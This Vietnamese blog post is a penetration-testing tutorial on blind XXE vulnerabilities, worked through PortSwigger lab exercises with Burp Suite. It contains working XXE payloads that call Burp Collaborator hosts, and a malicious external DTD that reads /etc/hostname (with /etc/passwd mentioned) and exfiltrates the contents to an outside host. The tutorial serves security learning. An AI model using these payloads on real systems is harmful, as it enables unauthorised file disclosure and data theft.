NỘI DUNG
Như đã hứa hẹn cuối nội dung Penetration Testing Step 3 – Làm gì khi mục tiêu che chắn các lỗ hổng XXE Injection dễ ăn?, kỳ này tôi sẽ triển nội dung khai thác có phần gai góc hơn là Blind XXE vulnerabilities.
Như cái tên đã thể hiện, với Blind XXE vulnerabilities, ứng dụng (dù thực sự có lỗ hổng) sẽ chẳng buồn trả về giá trị nào liên quan đến external entity trong response. Với thực tế nghiệt ngã đó, tôi sẽ có thể cân nhắc 2 lựa chọn để chiến đấu với Blind XXE vulnerabilities:
- Sử dụng phương án kích hoạt out-of-band network interaction để trích xuất thông tin nhạy cảm;
- Kích hoạt XML parsing error có chứa thông tin nhạy cảm.
Và trong nội dung kỳ này, tôi sẽ tập trung vào phương án thứ nhất – kích hoạt out-of-band network interaction để trích xuất thông tin nhạy cảm.
Lưu ý:
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem trong nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
- Bạn nên xem lại nội dung Penetration Testing Step 3 – Lần đầu làm chuyện ấy với XML External Entity Injection để nắm các khái niệm liên quan (đặc biệt là chỗ Document Type Definition – DTD) trước khi xem phần này.
#1. Thăm dò Blind XXE vulnerabilities với out-of-band techniques
#1.1 Thăm dò với XML entity thông thường
Phương án này tương tự như XXE SSRF attack (trình bày trong nội dung Penetration Testing Step 3 – Lần đầu làm chuyện ấy với XML External Entity Injection), tuy nhiên điểm khác biệt là tôi sẽ phải kích hoạt out-of-band network interaction đến một hệ thống mà tôi có thể kiểm soát.
Rồi, tôi vào phần demo minh họa cho cái mưu đồ nói trên. Cũng tương tự như các kỳ trước, tôi cũng chạy tính năng Check stock của ứng dụng.
Sau đó, tôi túm cái request tương ứng đẩy sang Burp Suite Repeater.
Đồng thời, lúc này, tôi cũng mò qua Burp menu để mở cái Burp Collaborator client.
Tại Burp Collaborator client, tôi chọn Copy to clipboard để để hốt cái Burp Collaborator payload (là jna2u9n8i4amvg61bjrsnyronft5hu.burpcollaborator.net như trường hợp minh họa bên dưới) rồi dựng cái entity kiểu như sau:
<!DOCTYPE stockCheck [ <!ENTITY test-xxe SYSTEM "http://jna2u9n8i4amvg61bjrsnyronft5hu.burpcollaborator.net"> ]>
Lưu ý:
- Như đã đề cập trong nội dung Penetration Testing Step 3 – Blind SSRF attack với hàng độc out-of-band techniques, phần Burp Collaborator client sẽ chỉ có trên Burp Suite Professional/Enterprise. Nếu không xài một trong hai bản này thì bạn phải tự dựng private Burp Collaborator server để chiến;
- Copy to clipboard xong thì bạn cứ để Burp Collaborator client tiếp tục chạy để tí còn quay lại “nhận quà”.
Tiếp tục, tôi cài cắm con hàng này vào vị trí giữa cái XML declaration và cái stockCheck element. Đồng thời, tôi cũng đổi productId thành nội dung tham chiếu đến external entity (&test-xxe trong trường hợp của tôi) trước khi send request.
Quay trở lại Burp Collaborator client, nếu mọi chuyện êm đẹp (còn không êm đẹp thì bạn có thể chờ một lát và bấm Polll now), tôi sẽ quan sát được các tương tác kiểu như sau.
Lưu ý: Ở đây tất nhiên tôi sẽ chưa sơ múi được gì vì mục đích chính là minh họa quá trình kích hoạt out-of-band network interaction. Nhưng bạn cũng không cần nôn nóng quá làm gì, tôi sẽ triển phần minh họa khai thác với out-of-band technique ngay trong Mục 2.
#1.2 Thăm dò với XML parameter entity
Trong kịch bản này, ứng dụng sẽ triển các giải pháp input validation (tạm dịch là kiểm soát, sát khuẩn đầu vào) hoặc tăng cường bảo mật cho XML parser nên chiêu trò Blind XXE với các entity thông thường sẽ mất hiệu lực.
Với tình huống này, tôi có thể chuyển sang phương án sử dụng XML parameter entity (thằng này đại khái là một loại XML entity đặc biệt có thể được tham chiếu từ một vị trí nào đó của DTD).
Tiến vào phần demo, vẫn như cũ, tôi chạy tính năng Check stock của ứng dụng rồi sau đó hốt request tương ứng đẩy sang Burp Suite Repeater.
Sau đó, tôi cũng lại mò qua Burp menu để mở cái Burp Collaborator client và Copy to clipboard để để hốt cái Burp Collaborator payload (là 5v1i9mj9gufuer4ww8mx0u7wrnxdl2.burpcollaborator.net như trường hợp minh họa bên dưới). Và lần này, tôi sẽ định nghĩa XML parameter entity kiểu như sau:
<!DOCTYPE stockCheck [<!ENTITY % test-xxe SYSTEM "http://5v1i9mj9gufuer4ww8mx0u7wrnxdl2.burpcollaborator.net"> %test-xxe; ]>
Lưu ý:
- Phần định nghĩa của XML parameter entity sẽ bao gồm cái percent character (“%”) ở phía trước entity name (chỗ “% test-xxe”). Cấu trúc chung sẽ theo kiểu “<!ENTITY % myparameterentity “my parameter entity value” >”;
- Việc tham chiếu đến parameter entity sẽ sử dụng percent character (“%”) (chỗ %test-xxe;) thay vì ampersand character (“&”) như thông thường.
Sau đó, tôi cũng đút con hàng này lọt vô giữa cái XML declaration và stockCheck element trước khi send request để chấm mút.
Diễn biến tiếp theo cũng sẽ kích hoạt out-of-band network interaction tương tự như trước đó nên tôi không minh họa để đỡ mất thời gian.
#2. Khai thác Blind XXE vulnerabilities với out-of-band techniques và external DTD
Hai phương án kích hoạt out-of-band network interaction ở trên nhìn có vẻ hay ho. Tuy nhiên, nếu chỉ dừng ở đó thì đúng là dở hơi cám lợn vì thực tế tôi cũng chưa “ăn uống” được gì. Để hiện thực hóa mưu đồ đen tối, tôi sẽ cần triển thêm một số bước như phần demo sau đây.
Vẫn như cũ, tôi mở Burp Collaborator client và húp cái Burp Collaborator payload (ub9z1yyb033fp0v4aam7rz9n8ee42t.burpcollaborator.net).
Sau đó, tôi chuẩn bị một file DTD “thâm độc” với các parameter entities kiểu như sau:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ub9z1yyb033fp0v4aam7rz9n8ee42t.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
Lưu ý:
- Dòng thứ 1 định nghĩa XML parameter entity “file” sẽ chứa nội dung của file mà tôi muốn trích xuất thông tin. Trong ví dụ trên, tôi đang dùng “file:///etc/hostname”. Nếu thích, tôi có thể chuyển sang các thể loại khác, ví dụ như file:///etc/passwd;
- Dòng thứ 2 định nghĩa XML parameter entity “eval” sẽ chứa phần dynamic declaration (tạm dịch là khai báo động) cho một XML parameter entity khác là “exfil” (tôi đang dùng từ viết tắt cho chữ exfiltrate, bạn không thích thì dùng chữ khác cũng được, nhưng nhớ kiểm tra phần tham chiếu tương ứng);
- Dòng thứ 3 %eval; gọi tham chiếu đến parameter entity “eval” từ đó tạo dynamic declaration cho exfil entity. Quá trình này cũng sẽ gọi tham chiếu đến file entity để đọc nội dung của file etc/hostname từ đó lấy giá trị gán vào URL query string (chỗ “?x”);
- Dòng cuối %exfil; sẽ gọi tham chiếu đến parameter entity “exfil” tạo HTTP request interaction (với URL query string chứa thông tin của file etc/hostname)đến Burp Suite Collaborator từ đó làm rò rỉ thông tin cho tôi chấm mút;
- Nếu đọc đến đây mà thấy nhức đầu quá thì tạm thời bạn cứ kệ mịa cái đám lằng nhằng ở trên đi. Phần demo tiếp sau đây sẽ hiện thực hóa các ý tưởng cho bạn dễ hình dung.
Sau đó, tôi nhảy qua exploit server và đút cái đống lằng nhằng nói trên vào chỗ Body với thông tin File là /exploit.dtd.
Sau khi Store tôi thử View exploit và ghi chú lại cái URL tương ứng (https://exploit-acdc1f231f03c295c089249601240031.web-security-academy.net/exploit.dtd).
Công việc sau đó không có gì mới. Tôi sẽ chạy tính năng Check stock của ứng dụng rồi hốt cái request tương ứng quăng qua Burp Suite Repeater.
Và tôi soạn một cái parameter entity vớ vẩn (test-xxe) tham chiếu đến cái DTD file (nằm trên exploit server) với nội dung kiểu như sau:
<!DOCTYPE foo [<!ENTITY % test-xxe SYSTEM "https://exploit-acdc1f231f03c295c089249601240031.web-security-academy.net/exploit.dtd"> %test-xxe;]>
Tôi cũng chèn thằng này vô giữa của phần XML declaration và stockCheck element trước khi send request.
Lưu ý:
- Khi chạy request, cái XML parameter entity test-xxe sẽ tạo tương tác đến cái dtd nằm trên exploit server. XML parser sẽ hốt cái external DTD này về và xử lý theo các bước đã thiết kế (trích xuất nội dung file /etc/host đút vô URL query string rồi gửi request này sang Burp Collaborator);
- Trường hợp các file mà trong nội dung có newline characters (ví dụ /etc/passwd), phương án trên có thể đổ bể (vì XML parser có sử dụng API kiểm duyệt các ký tự xuất hiện trong URL của external entity definition). Lúc này, phương án với FTP protocol có thể được sử dụng thay thế HTTP protocol.
Lần này, quay lại chỗ Burp Collaborator client, kiểm tra cái HTTP interaction request, tôi sẽ có thể quan sát được nội dung của file /etc/hostname như ý đồ trước đó.
Phù, đến đây tôi xin tạm dừng hiệp 1 với Blind XXE vulnerabilities. Kỳ tới tôi sẽ triển hiệp 2 và dứt điểm các vấn đề liên quan đến nhóm đối tượng rối rắm này.
1 thought on “Penetration Testing Step 3 – Mò mẫm Blind XXE vulnerabilities với out-of-band techniques”